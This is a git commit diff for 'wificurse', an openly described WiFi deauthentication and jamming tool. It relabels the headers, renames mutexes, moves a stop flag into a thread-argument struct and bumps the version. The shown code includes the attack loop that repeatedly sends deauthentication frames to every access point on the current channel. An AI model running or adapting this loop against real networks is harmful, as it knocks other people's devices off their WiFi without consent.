atmos/wifi-curse
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version 0.3.2

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This commit is contained in:
oblique 2012-03-07 10:27:56 +02:00
parent 1125bf244a
commit 02f513a037
11 changed files with 45 additions and 46 deletions
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2
src/ap_list.c
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/ap_list.h
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/channelset.h
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/console.c
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/console.h
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/error.c
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

4
src/error.h
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
@ -38,7 +38,7 @@ do { \
} while(0)
#define err_msg(fmt, ...) \
_err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__);
_err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__)
#endif

2
src/iw.c
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

2
src/iw.h
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify

67
src/wificurse.c
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@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
@ -33,15 +33,14 @@
#include "wificurse.h"
static volatile int stop;
struct deauth_thread_args {
struct ap_list *apl;
struct iw_dev *dev;
pthread_mutex_t *mutex_chan;
pthread_mutex_t *mutex_list;
pthread_mutex_t *chan_mutex;
pthread_mutex_t *list_mutex;
channelset_t *chans_fixed;
channelset_t *chans;
volatile int stop;
};
int send_deauth(struct iw_dev *dev, struct access_point *ap) {
@ -137,19 +136,19 @@ void *deauth_thread_func(void *arg) {
struct access_point *ap, *tmp;
int i, j, b, tmp_chan;
while (!stop) {
pthread_mutex_lock(ta->mutex_chan);
while (!ta->stop) {
pthread_mutex_lock(ta->chan_mutex);
b = 0;
for (i=0; i<60 && !stop; i++) {
for (j=0; j<128 && !stop; j++) {
for (i=0; i<60 && !ta->stop; i++) {
for (j=0; j<128 && !ta->stop; j++) {
ap = ta->apl->head;
while (ap != NULL && !stop) {
while (ap != NULL && !ta->stop) {
/* if the last beacon we got was 3 mins ago, remove AP */
if (time(NULL) - ap->last_beacon_tm >= 3*60) {
tmp_chan = ap->info.chan;
tmp = ap;
ap = ap->next;
pthread_mutex_lock(ta->mutex_list);
pthread_mutex_lock(ta->list_mutex);
unlink_ap(ta->apl, tmp);
free(tmp);
/* if AP channel is not in chans_fixed and there isn't any
@ -165,14 +164,14 @@ void *deauth_thread_func(void *arg) {
if (tmp == NULL)
channel_unset(ta->chans, tmp_chan);
}
pthread_mutex_unlock(ta->mutex_list);
pthread_mutex_unlock(ta->list_mutex);
continue;
}
/* if interface and AP are in the same channel, send deauth */
if (ap->info.chan == ta->dev->chan) {
if (send_deauth(ta->dev, ap) < 0) {
print_error();
stop = 2; /* notify main thread that we got an error */
ta->stop = 2; /* notify main thread that we got an error */
}
b = 1;
ap->num_of_deauths++;
@ -180,15 +179,15 @@ void *deauth_thread_func(void *arg) {
ap = ap->next;
}
/* if we have send deauth, sleep for 2000 microseconds */
if (b && !stop)
if (b && !ta->stop)
usleep(2000);
}
/* if we have send deauth, sleep for 180000 microseconds */
if (b && !stop)
if (b && !ta->stop)
usleep(180000);
}
pthread_mutex_unlock(ta->mutex_chan);
/* small delay to avoid fast relock of mutex_chan */
pthread_mutex_unlock(ta->chan_mutex);
/* small delay to avoid fast relock of chan_mutex */
usleep(100);
}
@ -204,7 +203,7 @@ int main(int argc, char *argv[]) {
struct timeval tv1, tv2;
suseconds_t msec;
pthread_t deauth_thread;
pthread_mutex_t mutex_chan, mutex_list;
pthread_mutex_t chan_mutex, list_mutex;
channelset_t chans_fixed, chans;
int ret, sigfd, n, chan;
sigset_t exit_sig;
@ -280,15 +279,15 @@ int main(int argc, char *argv[]) {
}
/* start deauth thread */
stop = 0;
ta.stop = 0;
ta.apl = &apl;
ta.dev = &dev;
ta.chans_fixed = &chans_fixed;
ta.chans = &chans;
pthread_mutex_init(&mutex_chan, NULL);
ta.mutex_chan = &mutex_chan;
pthread_mutex_init(&mutex_list, NULL);
ta.mutex_list = &mutex_list;
pthread_mutex_init(&chan_mutex, NULL);
ta.chan_mutex = &chan_mutex;
pthread_mutex_init(&list_mutex, NULL);
ta.list_mutex = &list_mutex;
if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) {
err_msg("pthread_create");
goto _errout_no_thread;
@ -299,7 +298,7 @@ int main(int argc, char *argv[]) {
tm = time(NULL);
gettimeofday(&tv1, NULL);
while (!stop) {
while (!ta.stop) {
if (poll(pfd, 2, 0) < 0) {
err_msg("poll");
goto _errout;
@ -315,13 +314,13 @@ int main(int argc, char *argv[]) {
goto _errout;
} else if (ret == 0) { /* got infos */
channel_set(&chans, api.chan);
pthread_mutex_lock(&mutex_list);
pthread_mutex_lock(&list_mutex);
if (add_or_update_ap(&apl, &api) < 0) {
pthread_mutex_unlock(&mutex_list);
pthread_mutex_unlock(&list_mutex);
print_error();
goto _errout;
}
pthread_mutex_unlock(&mutex_list);
pthread_mutex_unlock(&list_mutex);
}
}
@ -333,9 +332,9 @@ int main(int argc, char *argv[]) {
/* update screen every 0.5 second */
if (msec >= 500000) {
pthread_mutex_lock(&mutex_list);
pthread_mutex_lock(&list_mutex);
update_scr(&apl, &dev);
pthread_mutex_unlock(&mutex_list);
pthread_mutex_unlock(&list_mutex);
gettimeofday(&tv1, NULL);
}
@ -343,7 +342,7 @@ int main(int argc, char *argv[]) {
if (time(NULL) - tm >= 1) {
n = 0;
do {
if (pthread_mutex_trylock(&mutex_chan) != 0) {
if (pthread_mutex_trylock(&chan_mutex) != 0) {
n = -1;
break;
}
@ -352,7 +351,7 @@ int main(int argc, char *argv[]) {
ret = iw_set_channel(&dev, chan);
else
ret = -1;
pthread_mutex_unlock(&mutex_chan);
pthread_mutex_unlock(&chan_mutex);
/* if fails try next channel */
} while(++n < CHANNEL_MAX && ret < 0);
if (n != -1) {
@ -366,17 +365,17 @@ int main(int argc, char *argv[]) {
}
/* we got an error from deauth thread */
if (stop == 2)
if (ta.stop == 2)
goto _errout;
printf("\nExiting..\n");
stop = 1;
ta.stop = 1;
pthread_join(deauth_thread, NULL);
iw_close(&dev);
free_ap_list(&apl);
return EXIT_SUCCESS;
_errout:
stop = 1;
ta.stop = 1;
pthread_join(deauth_thread, NULL);
_errout_no_thread:
iw_close(&dev);

4
src/wificurse.h
View File

@ -1,5 +1,5 @@
/*
wificurse - WiFi DoS tool
wificurse - WiFi Jamming tool
Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
@ -25,7 +25,7 @@
#include "ap_list.h"
#define VERSION "0.3"
#define VERSION "0.3.2"
struct frame_control {
uint8_t protocol_version:2;